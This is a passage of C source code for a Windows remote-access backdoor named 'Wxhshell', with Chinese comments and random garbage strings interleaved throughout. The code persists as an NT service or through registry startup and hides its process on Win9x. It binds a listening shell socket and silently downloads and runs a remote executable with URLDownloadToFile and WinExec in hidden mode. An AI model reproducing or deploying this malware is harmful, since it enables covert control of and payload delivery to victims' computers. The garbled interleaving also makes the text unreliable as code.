LTt|"D if(strstr(procName,"services")) return 1; // 以服务启动 {_5PN^J L}5IX)#gH return 0; // 注册表启动 Lmw{ `R } C*fSPdg?
gC}D0l[ // 主模块 m1(cN%DBd int StartWxhshell(LPSTR lpCmdLine) )./.rtP|4 { g w`}eA$ SOCKET wsl; hg=BXe4: BOOL val=TRUE; {ei,>5K int port=0; #3o]Qo[Sc struct sockaddr_in door; A`qb5LLJ) GDj
ViAFm if(wscfg.ws_autoins) Install(); i&dMX:fRd FI|@=l;_ port=atoi(lpCmdLine); Q8r 7 Mb0cdK?hA if(port<=0) port=wscfg.ws_port; M=aWL!nJ Q&Ox\*sMK WSADATA data; $S0eERga if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ood'kAH1B 7,N>u8cTh if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Z2dy|e(c setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Bz#K_S door.sin_family = AF_INET; 4? a!6 door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]Ak@!&hyak door.sin_port = htons(port); q$=EUB"C StuDtY if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C^x+'. ^N closesocket(wsl); 6hs2B5)+ return 1; +=bGrn>h } \Ow-o0 {!C ';^ if(listen(wsl,2) == INVALID_SOCKET) { T8i9 closesocket(wsl); kGZ_/"iuO return 1; Gv,0{DVX< } vZns,K#4H\ Wxhshell(wsl); g(0
|p6R WSACleanup(); -\`n{$OR zaVDe9B,7 return 0; sgn,]3AUq 0Up@+R2 } +{j? +4(B t;@VsQ8 // 以NT服务方式启动 Zbp ByRyN VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <4W"ne28 { Gd~Xvw,u DWORD status = 0; wO y1i/oj DWORD specificError = 0xfffffff; dsP1Zq A2b
C5lA serviceStatus.dwServiceType = SERVICE_WIN32; $e|G#mMd- serviceStatus.dwCurrentState = SERVICE_START_PENDING; 7FVu[Qu serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Yp`6305f serviceStatus.dwWin32ExitCode = 0; u|=G#y;3 serviceStatus.dwServiceSpecificExitCode = 0; 4><b3r;T' serviceStatus.dwCheckPoint = 0; $+<X 1 serviceStatus.dwWaitHint = 0; ?zKVXK7}0 |*N.SS hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); W.ud<OKP90 if (hServiceStatusHandle==0) return; .6[xX?i^T KZL5>E status = GetLastError(); G^F4c{3c~ if (status!=NO_ERROR) 8Us5Oi { daaEN( serviceStatus.dwCurrentState = SERVICE_STOPPED; hgE!)UE serviceStatus.dwCheckPoint = 0; fz
W%(.tc\ serviceStatus.dwWaitHint = 0; ih?_ fW serviceStatus.dwWin32ExitCode = status; C9/?B: serviceStatus.dwServiceSpecificExitCode = specificError; I'o9.B8%# SetServiceStatus(hServiceStatusHandle, &serviceStatus); !UD62yw~ return; W Io^=?% } :YB:)wV,P XQ<2(}]4 serviceStatus.dwCurrentState = SERVICE_RUNNING; )}?'1ciHI serviceStatus.dwCheckPoint = 0; 2F3IC serviceStatus.dwWaitHint = 0; M"K$81 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); } VE[W } %#NaM\=8v bG>pm|/ // 处理NT服务事件,比如:启动、停止 +|Q8P?YD_ VOID WINAPI NTServiceHandler(DWORD fdwControl) Xt/T0.I { )vsiX}3 switch(fdwControl) g!7/iKj: { S,vrz!'>A case SERVICE_CONTROL_STOP: (@O F
Wc"p serviceStatus.dwWin32ExitCode = 0; 9p(s FQ
[ serviceStatus.dwCurrentState = SERVICE_STOPPED; Rcf_31 L serviceStatus.dwCheckPoint = 0; Tn/
3`j
{ serviceStatus.dwWaitHint = 0; 'M+iVF6 { [S":~3^B6 SetServiceStatus(hServiceStatusHandle, &serviceStatus); _U$d.B'*)z } [e ;K$ return; _p7c<$; case SERVICE_CONTROL_PAUSE: i}RxTmG< serviceStatus.dwCurrentState = SERVICE_PAUSED; UioLu90
P break; oj@B'j case SERVICE_CONTROL_CONTINUE: Aa.bE,W serviceStatus.dwCurrentState = SERVICE_RUNNING; ^MUtmzh break; j0o_`` case SERVICE_CONTROL_INTERROGATE: /bVU^vo break; W*-+j*e|_P }; E<'3?(D9hL SetServiceStatus(hServiceStatusHandle, &serviceStatus); I2%{6g@ } sxl29y^* ,jbj-b( // 标准应用程序主函数 ]gkI:scPA int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O} QTg { G(|ki9^@"9 >mT2g // 获取操作系统版本 J`uV $l: OsIsNt=GetOsVer(); HlPf GetModuleFileName(NULL,ExeFile,MAX_PATH); <"AP&J'H jRXByi=9 // 从命令行安装
N4}/n if(strpbrk(lpCmdLine,"iI")) Install(); (<(8(}x &BCl>^wn} // 下载执行文件 .'p_j(uv if(wscfg.ws_downexe) { hFZ7{pj if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U9IN# ;W WinExec(wscfg.ws_filenam,SW_HIDE); Wze\z
} >Rjk d>K3 -O\!IXG^ if(!OsIsNt) { _%;$y5]v // 如果时win9x,隐藏进程并且设置为注册表启动 L=VJl[DL HideProc(); ]k]P (w StartWxhshell(lpCmdLine); 4{X5ZS?CkI } !V$m!i; else :u` if(StartFromService()) =5oE|F% // 以服务方式启动 F.?^ko9d StartServiceCtrlDispatcher(DispatchTable);
b(I-0< else `3SY~&X // 普通方式启动 I/<aY*R4 StartWxhshell(lpCmdLine); 41^+T<+ g,7`emOX return 0; #<S+E7uTs }
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